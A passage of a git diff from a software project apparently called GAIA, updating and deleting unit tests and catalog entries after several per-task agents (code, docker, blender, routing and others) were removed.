- if self._thread: - self._thread.join(timeout=1.0) - - -def test_send_command_assembles_chunked_response(): - """The incremental-parse loop must reconstruct a JSON response that - arrives across multiple recv() chunks (TCP segmentation).""" - response_dict = { - "status": "success", - "result": {"object_count": 0, "message": "Scene cleared 🧼"}, - } - # Split halfway through the 4-byte UTF-8 encoding of the emoji to - # exercise the UnicodeDecodeError tolerance specifically. If we just - # picked an arbitrary offset it would land in pure ASCII (the bulk of - # the JSON) and never reach the multi-byte boundary, leaving that code - # path uncovered. - # Match the wire format _ChunkedServer will emit (ensure_ascii=False - # keeps the emoji as raw 4-byte UTF-8 instead of escaping to \uXXXX). - payload = json.dumps(response_dict, ensure_ascii=False).encode("utf-8") - emoji_bytes = "🧼".encode("utf-8") - assert len(emoji_bytes) == 4 - emoji_start = payload.index(emoji_bytes) - mid_emoji = emoji_start + 2 # split inside the emoji, mid-codepoint - - server = _ChunkedServer( - response=response_dict, - split_after=mid_emoji, - gap_seconds=0.05, - ) - server.start() - try: - client = MCPClient(host=server.host, port=server.port) - outcome: dict = {} - - def _call(): - try: - outcome["response"] = client.send_command("clear_scene", timeout=5.0) - except BaseException as exc: # noqa: BLE001 - outcome["error"] = exc - - worker = threading.Thread(target=_call, daemon=True) - worker.start() - worker.join(timeout=5.0) - - if worker.is_alive(): - pytest.fail("send_command hung against a chunked-response server") - if "error" in outcome: - raise outcome["error"] - - response = outcome["response"] - assert response["status"] == "success" - # The emoji must have been reconstructed across the mid-codepoint - # split — proves the UnicodeDecodeError tolerance is exercised. - assert response["result"]["message"] == "Scene cleared 🧼" - finally: - server.stop() - - -def test_send_command_surfaces_enhanced_error_message(): - """When the server returns ``{"status": "error", "message": ...}``, - the client must run the message through ``_enhance_error_message`` - before raising — so a bare NameError ("name 'foo' is not defined") - becomes a more actionable message for the LLM/user.""" - server = _PersistentServer( - response={ - "status": "error", - "message": "name 'undefined_var' is not defined", - } - ) - server.start() - try: - client = MCPClient(host=server.host, port=server.port) - outcome: dict = {} - - def _call(): - try: - client.send_command("execute_code", {"code": "undefined_var + 1"}) - except BaseException as exc: # noqa: BLE001 - outcome["error"] = exc - - worker = threading.Thread(target=_call, daemon=True) - worker.start() - worker.join(timeout=5.0) - - if worker.is_alive(): - pytest.fail("send_command hung against an error-response server") - assert "error" in outcome, "expected MCPError, got nothing" - err = outcome["error"] - assert isinstance(err, MCPError) - # _enhance_error_message rewrites NameError-shaped messages - # into a friendlier, actionable form. - assert "undefined_var" in str(err) - assert "Make sure to declare it before use" in str(err) - finally: - server.stop() - - -def test_send_command_raises_on_premature_close(): - """If the server closes before sending a full JSON response, the - client must surface a clear MCPError rather than returning garbage.""" - - class _PrematureCloseServer: - def __init__(self): - self.host = "127.0.0.1" - self.port = 0 - self._sock = None - self._thread = None - - def start(self): - self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self._sock.bind((self.host, 0)) - self._sock.listen(1) - self.port = self._sock.getsockname()[1] - self._sock.settimeout(2.0) - self._thread = threading.Thread(target=self._run, daemon=True) - self._thread.start() - - def _run(self): - try: - client, _ = self._sock.accept() - except socket.timeout: - return - try: - # Send a fragment that cannot parse as JSON, then close. - client.sendall(b'{"status": "succ') - client.close() - except OSError: - pass - - def stop(self): - try: - self._sock.close() - except OSError: - pass - - server = _PrematureCloseServer() - server.start() - try: - client = MCPClient(host=server.host, port=server.port) - with pytest.raises(MCPError) as exc_info: - client.send_command("clear_scene", timeout=3.0) - assert "Connection closed" in str(exc_info.value) - finally: - server.stop() diff --git a/tests/unit/test_agent_pypi_publish.py b/tests/unit/test_agent_pypi_publish.py index 513e6bbba..5527284a4 100644 --- a/tests/unit/test_agent_pypi_publish.py +++ b/tests/unit/test_agent_pypi_publish.py @@ -34,7 +34,9 @@ # Infrastructure agents publish as wheels but are loaded by class-path from the # API server, not discovered via the gaia.agent registry entry point (#1102). -INFRA_ONLY_AGENT_IDS = {"routing"} +# Currently empty: the routing agent that used to need this exemption was +# removed in the agent-collapse (its only AGENT_MODELS entry went with it). +INFRA_ONLY_AGENT_IDS: set[str] = set() if str(UTIL_DIR) not in sys.path: sys.path.insert(0, str(UTIL_DIR)) @@ -51,9 +53,9 @@ def test_production_agent_list_nonempty(packages): """setup.py[agents] resolves to at least the migrated agents.""" assert packages, "no production agent packages derived from setup.py[agents]" ids = {p.agent_id for p in packages} - # Spot-check a couple that have already migrated; the helper enforces the - # full set exists on disk, so this just sanity-checks the mapping direction. - assert {"summarize", "analyst", "browser"} <= ids + # Spot-check the surviving hub agents; the helper enforces the full set + # exists on disk, so this just sanity-checks the mapping direction. + assert {"email", "chat", "gaia"} <= ids def test_dist_name_and_directory_convention(packages): diff --git a/tests/unit/test_agents_split.py b/tests/unit/test_agents_split.py deleted file mode 100644 index c194ed1c1..000000000 --- a/tests/unit/test_agents_split.py +++ /dev/null @@ -1,188 +0,0 @@ -import sys -from importlib import import_module - -import pytest - - -def test_instantiate_new_agents(): - # fileio / docqa / chat ship as standalone gaia-agent-* wheels (#1102). - pytest.importorskip("gaia_agent_fileio") - pytest.importorskip("gaia_agent_docqa") - pytest.importorskip("gaia_agent_chat") - # Import without triggering heavy optional deps by relying on skip_lemonade - chat_mod = import_module("gaia_agent_chat.lite_agent") - docqa_mod = import_module("gaia_agent_docqa.agent") - fileio_mod = import_module("gaia_agent_fileio.agent") - - chat = chat_mod.ChatAgentLite() - assert chat is not None - - doc = docqa_mod.DocumentQAAgent() - assert doc is not None - - f = fileio_mod.FileIOAgent() - assert f is not None - - -def test_instantiate_browser_and_analyst_agents(tmp_path): - # browser/analyst ship as the gaia-agent-browser / gaia-agent-analyst - # wheels (#1102); skip when a framework-only env lacks them. - pytest.importorskip("gaia_agent_browser") - pytest.importorskip("gaia_agent_analyst") - browser_mod = import_module("gaia_agent_browser.agent") - analyst_mod = import_module("gaia_agent_analyst.agent") - - browser = browser_mod.BrowserAgent() - assert {"fetch_page", "search_web", "download_file"} <= set( - browser.get_tools_info() - ) - assert "query_data" not in browser.get_tools_info() - browser.close() - - analyst = analyst_mod.AnalystAgent( - analyst_mod.AnalystAgentConfig( - scratchpad_db_path=str(tmp_path / "scratchpad.db") - ) - ) - assert { - "create_table", - "insert_data", - "query_data", - "list_tables", - "drop_table", - } == set(analyst.get_tools_info()) - analyst.close() - - -def test_registry_uses_specialized_browser_and_analyst_agents(tmp_path): - pytest.importorskip("gaia_agent_browser") - pytest.importorskip("gaia_agent_analyst") - from gaia_agent_analyst.agent import AnalystAgent - from gaia_agent_browser.agent import BrowserAgent - - from gaia.agents.registry import AgentRegistry - - registry = AgentRegistry() - registry.discover() - - web = registry.create_agent("web") - assert isinstance(web, BrowserAgent) - assert {"fetch_page", "search_web", "download_file"} <= set(web.get_tools_info()) - web.close() - - data = registry.create_agent( - "data", scratchpad_db_path=str(tmp_path / "scratchpad.db") - ) - assert isinstance(data, AnalystAgent) - assert "query_data" in data.get_tools_info() - assert "fetch_page" not in data.get_tools_info() - data.close() - - -def test_registry_uses_specialized_lite_browser_and_analyst_agents(tmp_path): - # #1162: the "-lite" IDs are now legacy aliases for the base web/data - # agents on the "lite" model tier, not separate registrations. The lite - # model preset is read from the base agent's ``model_tiers``. - pytest.importorskip("gaia_agent_browser") - pytest.importorskip("gaia_agent_analyst") - from gaia_agent_analyst.agent import AnalystAgent - from gaia_agent_browser.agent import BrowserAgent - - from gaia.agents.registry import AgentRegistry - - registry = AgentRegistry() - registry.discover() - - def _lite_model(agent_id): - tiers = registry.get(agent_id).model_tiers - lite = next(t for t in tiers if t.name == "lite") - return lite.models[0] - - lite_model = _lite_model("web") - web = registry.create_agent("web-lite") - assert isinstance(web, BrowserAgent) - assert web.config.model_id == lite_model - assert {"fetch_page", "search_web", "download_file"} <= set(web.get_tools_info()) - web.close() - - lite_model = _lite_model("data") - data = registry.create_agent( - "data-lite", scratchpad_db_path=str(tmp_path / "scratchpad.db") - ) - assert isinstance(data, AnalystAgent) - assert data.config.model_id == lite_model - assert "query_data" in data.get_tools_info() - assert "fetch_page" not in data.get_tools_info() - data.close() - - -def test_browse_and_analyze_cli_list_tools(monkeypatch, tmp_path, capsys): - # `gaia browse`/`gaia analyze` resolve the web/data agents through the - # registry, which needs the standalone wheels installed (#1102). - pytest.importorskip("gaia_agent_browser") - pytest.importorskip("gaia_agent_analyst") - from gaia import cli - - monkeypatch.setenv("HOME", str(tmp_path)) - original_argv = sys.argv - try: - sys.argv = ["gaia", "browse", "--no-lemonade-check", "--list-tools"] - cli.main() - browse_output = capsys.readouterr().out - assert "Registered Tools for BrowserAgent" in browse_output - assert "fetch_page" in browse_output - assert "search_web" in browse_output - assert "query_data" not in browse_output - - sys.argv = ["gaia", "analyze", "--no-lemonade-check", "--list-tools"] - cli.main() - analyze_output = capsys.readouterr().out - assert "Registered Tools for AnalystAgent" in analyze_output - assert "query_data" in analyze_output - assert "create_table" in analyze_output - assert "fetch_page" not in analyze_output - finally: - sys.argv = original_argv - - -def test_get_mcp_status_report_does_not_raise(tmp_path): - """Regression: agents that inherit MCPClientMixin must survive - ``get_mcp_status_report()`` even when MCP is not initialised. - - The Agent UI auto-calls this on every chat send - (src/gaia/ui/_chat_helpers.py:1644). Before the fix, any agent whose MRO - had ``MCPClientMixin`` after ``Agent`` raised - ``AttributeError: '' object has no attribute '_mcp_manager'`` - because ``Agent.__init__`` doesn't chain ``super().__init__()``. - """ - pytest.importorskip("gaia_agent_fileio") - pytest.importorskip("gaia_agent_browser") - pytest.importorskip("gaia_agent_analyst") - pytest.importorskip("gaia_agent_docqa") - pytest.importorskip("gaia_agent_chat") - from gaia_agent_analyst.agent import AnalystAgent, AnalystAgentConfig - from gaia_agent_browser.agent import BrowserAgent - from gaia_agent_chat.lite_agent import ChatAgentLite - from gaia_agent_docqa.agent import DocumentQAAgent - from gaia_agent_fileio.agent import FileIOAgent - - agents = [ - BrowserAgent(), - AnalystAgent(AnalystAgentConfig(scratchpad_db_path=str(tmp_path / "s.db"))), - DocumentQAAgent(), - FileIOAgent(), - ChatAgentLite(), - ] - try: - for agent in agents: - assert agent.get_mcp_status_report() == [], ( - f"{type(agent).__name__}.get_mcp_status_report() must return [] " - f"when MCP is not initialised" - ) - assert ( - agent._mcp_manager is None - ), f"{type(agent).__name__}._mcp_manager must resolve to None" - finally: - for agent in agents: - if hasattr(agent, "close"): - agent.close() diff --git a/tests/unit/test_errors.py b/tests/unit/test_errors.py index 9065af961..cac99931a 100644 --- a/tests/unit/test_errors.py +++ b/tests/unit/test_errors.py @@ -67,26 +67,29 @@ class TestFormatUserErrorFiltering: """Test framework path filtering in format_user_error.""" def test_framework_paths_includes_all_agents(self): - """Verify FRAMEWORK_PATHS includes all agent directories.""" + """Verify FRAMEWORK_PATHS covers every place framework code lives.""" expected_paths = [ "gaia/agents/base", - "gaia/agents/blender", - "gaia/agents/code", - "gaia/agents/docker", - "gaia/agents/jira", "gaia/agents/tools", - # Hub-migrated agents (#1102): chat ships as the gaia-agent-chat - # wheel, filtered via gaia_agent_chat / the hub editable path. + # Hub agents: chat/gaia/email ship as wheels, filtered via + # gaia_agent_chat / site-packages / the hub editable path. "hub/agents/", "gaia_agent_chat", "site-packages/", ] for path in expected_paths: assert path in FRAMEWORK_PATHS, f"Missing framework path: {path}" - # RoutingAgent migrated to the gaia-agent-routing wheel (#1102); its - # frames are now filtered via the "site-packages/" entry, so the old - # "gaia/agents/routing" path must no longer be listed. - assert "gaia/agents/routing" not in FRAMEWORK_PATHS + # Per-task agents were deleted and their capability became skills, so no + # per-agent source path should be listed any more — a leftover entry + # would silently filter a user's own frames out of their traceback. + for gone in ( + "gaia/agents/blender", + "gaia/agents/code", + "gaia/agents/docker", + "gaia/agents/jira", + "gaia/agents/routing", + ): + assert gone not in FRAMEWORK_PATHS def test_framework_paths_no_redundant_entries(self): """Verify no redundant site-packages entries.""" diff --git a/tests/unit/test_file_write_guardrails.py b/tests/unit/test_file_write_guardrails.py index 453784721..efb4be346 100644 --- a/tests/unit/test_file_write_guardrails.py +++ b/tests/unit/test_file_write_guardrails.py @@ -12,8 +12,7 @@ - Overwrite confirmation prompting - Backup creation before overwrite - Audit logging for write operations -- Integration with ChatAgent write_file / edit_file tools -- Integration with CodeAgent write_file / edit_file tools +- Integration with the FileIOToolsMixin write_file / edit_file tools All tests are designed to run without LLM or external services. """ @@ -907,12 +906,12 @@ def test_edit_content_not_found_returns_error(self, mixin_and_registry, tmp_path # ============================================================================ -# 12. CodeAgent write_file GUARDRAIL TESTS +# 12. FileIOToolsMixin write_file GUARDRAIL TESTS # ============================================================================ -class TestCodeAgentWriteFileGuardrails: - """Test that CodeAgent's generic write_file tool enforces PathValidator guardrails. +class TestFileIOToolsMixinWriteFileGuardrails: + """Test that FileIOToolsMixin's write_file tool enforces PathValidator guardrails. These tests exercise write_file from code/tools/file_io.py (FileIOToolsMixin). """ @@ -1005,12 +1004,12 @@ def test_write_with_project_dir_resolves_path(self, mixin_and_registry, tmp_path # ============================================================================ -# 13. CodeAgent edit_file GUARDRAIL TESTS +# 13. FileIOToolsMixin edit_file GUARDRAIL TESTS # ============================================================================ -class TestCodeAgentEditFileGuardrails: - """Test that CodeAgent's generic edit_file tool enforces PathValidator guardrails.""" +class TestFileIOToolsMixinEditFileGuardrails: + """Test that FileIOToolsMixin's edit_file tool enforces PathValidator guardrails.""" @pytest.fixture def mixin_and_registry(self, tmp_path): diff --git a/tests/unit/test_init_command.py b/tests/unit/test_init_command.py index 021ca3dd1..78b2182d6 100644 --- a/tests/unit/test_init_command.py +++ b/tests/unit/test_init_command.py @@ -284,7 +284,7 @@ def test_valid_profiles(self): """Test that valid profiles are accepted.""" from gaia.installer.init_command import InitCommand - valid_profiles = ["minimal", "chat", "code", "rag", "all"] + valid_profiles = ["minimal", "chat", "rag", "all"] for profile in valid_profiles: cmd = InitCommand(profile=profile, yes=True) self.assertEqual(cmd.profile, profile) @@ -575,7 +575,7 @@ def test_profiles_exist(self): """Test that expected profiles are defined.""" from gaia.installer.init_command import INIT_PROFILES - expected = ["minimal", "chat", "code", "rag", "all"] + expected = ["minimal", "chat", "rag", "all"] for profile in expected: self.assertIn(profile, INIT_PROFILES) @@ -2206,7 +2206,7 @@ class TestHubInstallWiringChatOnlyScope(_HubInstallWiringTestBase): ``TestHubInstallWiringNpuProfile`` for the positive case. """ - NON_CHAT_PROFILES = ("sd", "code", "rag", "vlm", "minimal", "all") + NON_CHAT_PROFILES = ("sd", "rag", "vlm", "minimal", "all") def test_non_chat_profiles_never_call_hub_install_and_still_exit_zero(self): for profile in self.NON_CHAT_PROFILES: diff --git a/tests/unit/test_mcp_extras.py b/tests/unit/test_mcp_extras.py index 2212b408c..c1755cdc0 100644 --- a/tests/unit/test_mcp_extras.py +++ b/tests/unit/test_mcp_extras.py @@ -44,8 +44,7 @@ "mcp 2.0.0 removed mcp.server.fastmcp (FastMCP -> MCPServer) — before " "widening the cap past <2.0, port GAIA's FastMCP-based MCP servers " "(src/gaia/mcp/agent_mcp_server.py, src/gaia/mcp/servers/agent_ui_mcp.py, " - "src/gaia/mcp/servers/tui_mcp.py — docker_mcp.py is blocked transitively " - "via agent_mcp_server.py) to the mcp 2.x API." + "src/gaia/mcp/servers/tui_mcp.py) to the mcp 2.x API." ) diff --git a/tests/unit/test_pdf_formatter.py b/tests/unit/test_pdf_formatter.py deleted file mode 100644 index 217fb6d18..000000000 --- a/tests/unit/test_pdf_formatter.py +++ /dev/null @@ -1,244 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Unit tests for ``gaia.apps.summarize.pdf_formatter.PDFFormatter``. - -Exercises every formatting branch (single vs. multi-style summaries, -performance tables, original-content sections, empty/edge inputs) and -validates output by actually opening the generated PDFs with ``pypdf`` — the -covered ``SummarizerApp`` tests never invoke this renderer directly (#2003), -so a crash or garbled export here would otherwise ship unnoticed. -""" - -import pytest - -pytest.importorskip("reportlab") -pypdf = pytest.importorskip("pypdf") - -import gaia.apps.summarize.pdf_formatter as pdf_formatter_module # noqa: E402 -from gaia.apps.summarize.pdf_formatter import PDFFormatter # noqa: E402 - - -@pytest.fixture -def formatter(): - return PDFFormatter() - - -def _pdf_text(path): - assert path.exists() - reader = pypdf.PdfReader(str(path)) - assert len(reader.pages) >= 1 - return "\n".join(page.extract_text() or "" for page in reader.pages) - - -# --------------------------------------------------------------------------- -# __init__ -# --------------------------------------------------------------------------- - - -def test_init_raises_import_error_without_reportlab(monkeypatch): - monkeypatch.setattr(pdf_formatter_module, "HAS_REPORTLAB", False) - - with pytest.raises(ImportError, match="reportlab"): - PDFFormatter() - - -def test_init_success_registers_custom_styles(formatter): - for style_name in ("CustomTitle", "SectionHeader", "Metadata"): - assert style_name in formatter.styles - - -# --------------------------------------------------------------------------- -# format_summary_as_pdf — single-style summary -# --------------------------------------------------------------------------- - - -def test_format_single_summary_with_text_items_and_participants(formatter, tmp_path): - result = { - "metadata": { - "input_file": "/tmp/meeting_notes.txt", - "input_type": "meeting", - "timestamp": "2026-01-01T00:00:00", - "model": "test-model", - "processing_time_ms": 1234, - }, - "summary": { - "text": "Line one.\nLine two.", - "items": ["Action item A", "Action item B"], - "participants": ["Alice", "Bob"], - }, - } - output_path = tmp_path / "single.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "meeting_notes.txt" in text - assert "Action item A" in text - assert "Alice" in text - - -def test_format_single_summary_missing_metadata_uses_defaults(formatter, tmp_path): - result = {"summary": {"text": "Just a summary."}} - output_path = tmp_path / "no_metadata.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "Unknown" in text - assert "Just a summary." in text - - -# --------------------------------------------------------------------------- -# format_summary_as_pdf — multi-style summaries -# --------------------------------------------------------------------------- - - -def test_format_multiple_summaries_dict_content_all_fields(formatter, tmp_path): - result = { - "metadata": {"input_file": "email.txt", "input_type": "email"}, - "summaries": { - "brief": {"text": "Short version."}, - "detailed": { - "items": ["point one", "point two"], - "participants": [ - {"name": "Carol", "role": "Engineer"}, - "Plain Name", - ], - "sender": "carol@example.com", - "recipients": ["dave@example.com", "erin@example.com"], - }, - }, - } - output_path = tmp_path / "multi.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "Short version." in text - assert "point one" in text - assert "Carol" in text - assert "Engineer" in text - assert "Plain Name" in text - assert "carol@example.com" in text - assert "dave@example.com" in text - - -def test_format_multiple_summaries_string_content(formatter, tmp_path): - result = { - "summaries": {"quick": "Just a plain string summary."}, - } - output_path = tmp_path / "string_summary.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "Just a plain string summary." in text - - -# --------------------------------------------------------------------------- -# format_summary_as_pdf — performance section -# --------------------------------------------------------------------------- - - -def test_format_with_performance_metrics(formatter, tmp_path): - result = { - "summary": {"text": "Body."}, - "performance": { - "total_tokens": 500, - "prompt_tokens": 300, - "completion_tokens": 200, - "time_to_first_token_ms": 42, - "tokens_per_second": 12.5, - "processing_time_ms": 800, - }, - "metadata": {"model": "test-model", "use_local_llm": True}, - } - output_path = tmp_path / "performance.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "Performance Metrics" in text - assert "test-model" in text - assert "500" in text - - -def test_format_with_aggregate_performance_fallback(formatter, tmp_path): - result = { - "summary": {"text": "Body."}, - "aggregate_performance": { - "model_info": {"model": "aggregate-model", "local_llm": False}, - "total_tokens": 999, - }, - } - output_path = tmp_path / "aggregate_performance.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "aggregate-model" in text - assert "999" in text - - -# --------------------------------------------------------------------------- -# format_summary_as_pdf — original content section -# --------------------------------------------------------------------------- - - -def test_format_with_original_content_splits_paragraphs(formatter, tmp_path): - result = { - "summary": {"text": "Summary text."}, - "original_content": "Para one.\n\nPara two.\n\n\n\nPara three.", - } - output_path = tmp_path / "original_content.pdf" - - formatter.format_summary_as_pdf(result, output_path) - - text = _pdf_text(output_path) - assert "Original Content" in text - assert "Para one." in text - assert "Para three." in text - - -# --------------------------------------------------------------------------- -# format_summary_as_pdf — empty / edge inputs -# --------------------------------------------------------------------------- - - -def test_format_empty_result_does_not_crash(formatter, tmp_path): - output_path = tmp_path / "empty.pdf" - - formatter.format_summary_as_pdf({}, output_path) - - text = _pdf_text(output_path) - assert "Unknown" in text - - -def test_format_summary_with_empty_items_and_participants(formatter, tmp_path): - result = {"summary": {"items": [], "participants": []}} - output_path = tmp_path / "empty_lists.pdf" - - # Should not raise even though items/participants are present but empty. - formatter.format_summary_as_pdf(result, output_path) - assert output_path.exists() - - -# --------------------------------------------------------------------------- -# _add_text_with_newlines -# --------------------------------------------------------------------------- - - -def test_add_text_with_newlines_converts_to_br(formatter): - story = [] - formatter._add_text_with_newlines(story, "line1\nline2") - - assert len(story) == 1 - assert story[0].text == "line1
line2" - - -@pytest.mark.parametrize("empty_value", [None, ""]) -def test_add_text_with_newlines_skips_falsy_text(formatter, empty_value): - story = [] - formatter._add_text_with_newlines(story, empty_value) - - assert story == [] diff --git a/tests/unit/test_publish_agents_to_hub.py b/tests/unit/test_publish_agents_to_hub.py index 328decaeb..1dee22719 100644 --- a/tests/unit/test_publish_agents_to_hub.py +++ b/tests/unit/test_publish_agents_to_hub.py @@ -73,7 +73,7 @@ def test_discovery_uses_list_agent_packages(): """The pipeline's discovery is the real setup.py[agents] helper.""" packages = pub.list_agent_packages() ids = {p.agent_id for p in packages} - assert {"summarize", "fileio", "analyst"} <= ids + assert {"email", "chat", "gaia"} <= ids def test_select_agents_default_is_all(): diff --git a/tests/unit/test_starter_skills.py b/tests/unit/test_starter_skills.py index fcf9fc113..f9c7140af 100644 --- a/tests/unit/test_starter_skills.py +++ b/tests/unit/test_starter_skills.py @@ -207,6 +207,10 @@ def _chat_agent_inline_tools() -> frozenset[str]: each name is instead verified against the agent's source: the ``def`` must exist in ``agent.py`` or the name is dropped — keeping this list incapable of drifting past a rename. + + ``request_user_input`` comes from ``_register_loop_control_tools``, which + every non-``chat`` profile runs, so a skill that has to ask the user a + question before acting can legitimately declare it. """ # Ships with the standalone gaia-agent-chat wheel, which the core-only test # job does not install; skip rather than judge the list against nothing. @@ -215,7 +219,7 @@ def _chat_agent_inline_tools() -> frozenset[str]: source = (Path(gaia_agent_chat.__file__).parent / "agent.py").read_text( encoding="utf-8" ) - inline = {"execute_python_file", "list_files"} + inline = {"execute_python_file", "list_files", "request_user_input"} return frozenset(t for t in inline if f"def {t}(" in source) diff --git a/tests/verify_path_validator.py b/tests/verify_path_validator.py index 456c5149d..f45fa3378 100644 --- a/tests/verify_path_validator.py +++ b/tests/verify_path_validator.py @@ -7,12 +7,10 @@ # Add src to path sys.path.append(os.path.join(os.getcwd(), "src")) -# DockerAgent and CodeAgent moved to the external ``gaia_agent_docker`` / -# ``gaia_agent_code`` wheels (#1102, #1397) and are no longer importable from -# the framework; their path-validation is covered by those packages' own tests -# (e.g. ``hub/agents/code/python/tests/test_file_io_guardrails.py``). The -# chat/rag cases below still exercise the shared PathValidator contract here. -# ChatAgent ships as the standalone gaia-agent-chat wheel (#1102). +# DockerAgent and CodeAgent were removed in the agent-collapse (#1102, +# #1397); the chat/rag cases below still exercise the shared PathValidator +# contract here. ChatAgent ships as the standalone gaia-agent-chat wheel +# (#1102). try: from gaia_agent_chat.agent import ChatAgent, ChatAgentConfig except ImportError: diff --git a/tui/internal/catalog/catalog.go b/tui/internal/catalog/catalog.go index ed0a9b7bb..61330fb2e 100644 --- a/tui/internal/catalog/catalog.go +++ b/tui/internal/catalog/catalog.go @@ -707,36 +707,6 @@ func seedAgents() []Agent { Icon: "📁", Version: "0.1.0", Status: StatusComingSoon, NotOfferedReason: NotPublishedReason, }, - { - ID: "code", Name: "Code", Description: "Code generation and editing", - Category: "Code", Tags: []string{"code", "programming", "developer"}, - Icon: "🔧", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "blender", Name: "Blender", Description: "3D scene automation and modeling", - Category: "Creative", Tags: []string{"3d", "blender", "modeling", "animation"}, - Icon: "🎨", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "jira", Name: "Jira", Description: "Issue tracking and project management", - Category: "Productivity", Tags: []string{"jira", "issues", "project", "agile"}, - Icon: "🎫", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "docker", Name: "Docker", Description: "Container management and orchestration", - Category: "DevOps", Tags: []string{"docker", "containers", "kubernetes"}, - Icon: "🐳", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "summarize", Name: "Summarize", Description: "Document and text summarization", - Category: "Documents", Tags: []string{"summarize", "text", "tldr"}, - Icon: "📝", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, { // The email agent is an HTTP sidecar the daemon supervises, not a // binary the TUI can spawn — it is reached through the daemon relay. @@ -775,25 +745,5 @@ func seedAgents() []Agent { // answer usually is. DevArgs: []string{"--dev"}, }, - - // --- Coming Soon --- - { - ID: "routing", Name: "Routing", Description: "Intelligent agent selection and orchestration", - Category: "Infrastructure", Tags: []string{"routing", "orchestration", "multi-agent"}, - Icon: "🔀", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "browser", Name: "Browser", Description: "Web browsing and automation", - Category: "Research", Tags: []string{"browser", "web", "scraping", "automation"}, - Icon: "🌐", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, - { - ID: "data-analyst", Name: "Data Analyst", Description: "Data analysis and visualization", - Category: "Data", Tags: []string{"data", "analysis", "charts", "csv", "excel"}, - Icon: "📊", Version: "0.1.0", Status: StatusComingSoon, - NotOfferedReason: NotPublishedReason, - }, } } diff --git a/tui/internal/catalog/catalog_test.go b/tui/internal/catalog/catalog_test.go index 1b02d9ad4..0728f95a3 100644 --- a/tui/internal/catalog/catalog_test.go +++ b/tui/internal/catalog/catalog_test.go @@ -175,17 +175,17 @@ func TestRemoveNonexistent(t *testing.T) { func TestIncrementVotes(t *testing.T) { c := NewCatalog() - agent := c.Get("routing") + agent := c.Get("chat") if agent.Votes != 0 { t.Fatalf("initial Votes = %d, want 0", agent.Votes) } - c.IncrementVotes("routing") + c.IncrementVotes("chat") if agent.Votes != 1 { t.Fatalf("after IncrementVotes, Votes = %d, want 1", agent.Votes) } - c.IncrementVotes("routing") + c.IncrementVotes("chat") if agent.Votes != 2 { t.Fatalf("after second IncrementVotes, Votes = %d, want 2", agent.Votes) } diff --git a/tui/internal/catalog/hub_test.go b/tui/internal/catalog/hub_test.go index 25d0ed405..7b6d179a7 100644 --- a/tui/internal/catalog/hub_test.go +++ b/tui/internal/catalog/hub_test.go @@ -27,7 +27,7 @@ func hubResponse(installed bool, supervised bool) *HubCatalog { } return &HubCatalog{ Agents: []HubEntry{entry}, - UnsupervisedFiltered: []string{"code"}, + UnsupervisedFiltered: []string{"chat"}, } } @@ -102,10 +102,10 @@ func TestSeedAgentsAbsentFromTheHubAreNotOffered(t *testing.T) { t.Errorf("no reason recorded for %q", a.ID) } } - // 'code' is the id the fixture reports as filtered-for-lack-of-a-spec, so + // 'chat' is the id the fixture reports as filtered-for-lack-of-a-spec, so // that fact must replace the seed's blanket "not published yet". - if got := c.Get("code").NotOfferedReason; got != "no way to run it yet" { - t.Errorf("'code' reason = %q, want the daemon's filtered reason", got) + if got := c.Get("chat").NotOfferedReason; got != "no way to run it yet" { + t.Errorf("'chat' reason = %q, want the daemon's filtered reason", got) } } diff --git a/tui/internal/client/negotiate_test.go b/tui/internal/client/negotiate_test.go index 0ae268251..2c71b02c4 100644 --- a/tui/internal/client/negotiate_test.go +++ b/tui/internal/client/negotiate_test.go @@ -272,7 +272,7 @@ func TestRemedyNamesTheAgentScopedCommand(t *testing.T) { // Every agent id the notice is built for keeps the scoped form. func TestRemedyIsScopedForAnyAgent(t *testing.T) { - for _, id := range []string{"email", "analyst", "code"} { + for _, id := range []string{"email", "gaia", "chat"} { notice := noticeForMissingCapability(id, "2.5") if !strings.Contains(notice, "gaia hub install "+id) { t.Errorf("remedy for %q is not agent-scoped: %s", id, notice) diff --git a/tui/test/fakedaemon_test.go b/tui/test/fakedaemon_test.go index 3ef850d16..e75e922d0 100644 --- a/tui/test/fakedaemon_test.go +++ b/tui/test/fakedaemon_test.go @@ -266,7 +266,7 @@ func emailCatalog(installed bool) map[string]any { "source": "network", "generated_at": "2026-07-24T00:00:00Z", "hub_url": "https://hub.amd-gaia.ai", - "unsupervised_filtered": []string{"code", "docker"}, + "unsupervised_filtered": []string{"chat", "doc"}, } } diff --git a/tui/test/hub_install_test.go b/tui/test/hub_install_test.go index b7ecd779c..7aefc35d2 100644 --- a/tui/test/hub_install_test.go +++ b/tui/test/hub_install_test.go @@ -42,7 +42,7 @@ func TestCatalogLoadMakesEmailInstallable(t *testing.T) { func TestUnofferedSeedAgentsLeaveAvailable(t *testing.T) { d, _ := newHubOnFakeDaemon(t) - for _, id := range []string{"code", "docker", "chat"} { + for _, id := range []string{"chat", "doc", "file"} { agent := d.cat.Get(id) if agent == nil { t.Fatalf("seed agent %q disappeared from the catalog", id) diff --git a/tui/test/hub_layout_test.go b/tui/test/hub_layout_test.go index 3a2a63cb4..6ebe879a0 100644 --- a/tui/test/hub_layout_test.go +++ b/tui/test/hub_layout_test.go @@ -105,14 +105,14 @@ func 